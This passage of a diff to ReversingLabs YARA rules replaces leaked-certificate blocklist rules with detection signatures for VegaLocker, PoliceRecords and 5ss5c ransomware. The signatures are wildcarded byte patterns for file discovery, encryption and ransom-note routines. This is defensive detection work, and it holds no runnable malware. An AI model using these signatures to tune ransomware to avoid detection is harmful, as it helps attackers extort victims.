?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "2d:f9:f7:eb:6c:dc:5c:a2:43:b3:31:22:e3:94:1e:25" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $search_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_58A541D50F9E2Fab4380C6A2Ed433B82 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Vegalocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects VegaLocker ransomware." author = "ReversingLabs" - id = "19a26581-5c94-5c8d-8e3e-b2ef1d770968" - date = "2020-08-05" - modified = "2023-11-08" + id = "53eec8d1-bab0-5556-92c0-1b70eb763fa5" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1362-L1378" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.VegaLocker.yara#L1-L100" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "69ddc58b6fec159d6eded8c78237a6a0626b1aedb58b0c9867b758fd09db46ad" + logic_hash = "8616e72fc435676179e83a304d4111c8f29ebf3cd79ff5b2d229cca8fc97c2a3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "VegaLocker" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? + ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 + ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 + ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? + ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 + ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 + 03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03 + C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 + 48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 + ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D + ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8D 45 ?? E8 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 + FF 30 64 89 20 C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 + ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68 + ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 + 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + 33 D2 8B 45 ?? 8B 08 FF 51 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B + 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C6 + 85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 + 64 89 10 EB ?? E9 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 + } + $encrypt_files_p2 = { + 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 + ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ?? + 0F 8E ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB + ?? 7E ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? + ?? 8D 45 ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ?? + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? + ?? 8D 45 ?? E8 ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ?? + ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 83 + BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA + } + $encrypt_files_p3 = { + E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? + EB ?? 8D 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B + 08 FF 51 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? + E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ?? + ?? ?? 59 EB ?? 55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? + ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? + 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "58:a5:41:d5:0f:9e:2f:ab:43:80:c6:a2:ed:43:3b:82" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_5F273626859Ae4Bc4Becbbeb71E2Ab2D : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Policerecords : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects PoliceRecords ransomware." author = "ReversingLabs" - id = "a80dcaba-73f9-51d0-a75a-b6348fd305c6" - date = "2020-08-05" - modified = "2023-11-08" + id = "bacd3f98-a069-58ca-8423-01fcef7d4062" + date = "2022-08-02" + modified = "2022-08-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1380-L1396" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara#L1-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c8be504f075041508f299b1df03d9cb9e58d9a89f49b7a926676033d18b108ba" + logic_hash = "55cb1a5d030c47abb1a9ca9970fb19b3124128e409bc9515c173c33b2bb49a16" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "PoliceRecords" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 00 72 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 0C 04 0D 09 18 73 ?? ?? ?? + ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 08 08 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? + 03 19 73 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? + 25 13 ?? 15 FE 01 16 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? + ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 2A + } + $find_files = { + 11 ?? 11 ?? 9A 13 ?? 00 00 07 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E + 69 32 ?? 00 DE ?? 26 00 00 DE ?? 17 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 0C 16 13 ?? + 2B ?? 00 00 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 00 + 72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? + 00 11 ?? 17 58 13 ?? 11 ?? 08 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 72 ?? ?? ?? ?? 1D 28 + ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1D 28 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 7E ?? ?? + ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? + ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 16 8C + ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 + ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? + ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F + ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? + 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? + 13 ?? 11 ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 26 2A + } + $desktop_kill_tick = { + 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 28 ?? ?? ?? ?? 00 + 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 02 7B ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 2A + } + $drop_ransom_note = { + 00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 00 07 72 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 + 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ?? + 07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 26 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "5f:27:36:26:85:9a:e4:bc:4b:ec:bb:eb:71:e2:ab:2d" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $desktop_kill_tick ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Cert_Blocklist_B1Ad46Ce4Db160B348C24F66C9663178 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_5Ss5C : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects 5ss5c ransomware." author = "ReversingLabs" - id = "df34eb28-18ec-568b-8257-0b2f7959868c" - date = "2020-08-05" - modified = "2023-11-08" + id = "c69f44de-8e48-518d-87bf-d21d11223a2f" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1398-L1414" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.5ss5c.yara#L1-L267" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "59ce2b7a2e881853d07446b3dda74b296f2be09651364d0e131552cf76dab751" + logic_hash = "74fcec568906a01dade7091c63cffbe4afa49c4705d9c1f21d10b4eee655a805" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "5ss5c" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "b1:ad:46:ce:4d:b1:60:b3:48:c2:4f:66:c9:66:31:78" and 1341792000 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_256541E204619033F8B09F9Eb7C88Ef8 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "d4a5eb19-2964-5d3a-b4c5-ee4396e76814" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1416-L1432" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e33cedf1dd24ac73f77461de0cef25cad57909be2a69469fec450ead7da85c65" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 89 BD ?? ?? ?? ?? 8B F1 + 8B 5D ?? 33 C0 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 6A ?? 89 45 ?? + 89 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 + ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? + 57 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D + ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? C7 00 ?? ?? ?? ?? C7 40 ?? + ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 + 45 ?? ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? C7 + 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 57 C0 8B 43 ?? 66 0F D6 + } + $find_files_p2 = { + 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C6 45 + ?? ?? 8B 3B 85 FF 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8B 47 ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 47 ?? 89 7D ?? E8 ?? ?? ?? ?? 6A + ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 3B + C8 74 ?? 83 78 ?? ?? 8D 48 ?? 72 ?? 8B 09 FF 70 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51 + 50 FF 15 ?? ?? ?? ?? 8B C8 89 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8B D8 66 66 + 0F 1F 84 00 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? + 8B 8D ?? ?? ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C6 00 ?? 8D 41 ?? 83 79 ?? ?? 72 + ?? 8B 00 FF 71 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 8B D0 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 8D 85 ?? ?? ?? ?? 51 + 50 8B CA E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 F6 85 ?? + ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 FF FF B7 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 81 FF ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? + ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 83 CB ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 50 89 9D ?? ?? ?? ?? 89 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 + } + $find_files_p3 = { + 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75 + ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 + 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? 83 7D ?? ?? 8D + 8D ?? ?? ?? ?? FF 75 ?? 0F 43 55 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B + 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? + 8B 5D ?? 8D 55 ?? 53 FF B5 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 85 ?? + ?? ?? ?? 8B 40 ?? 85 FF 0F 85 ?? ?? ?? ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? + 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 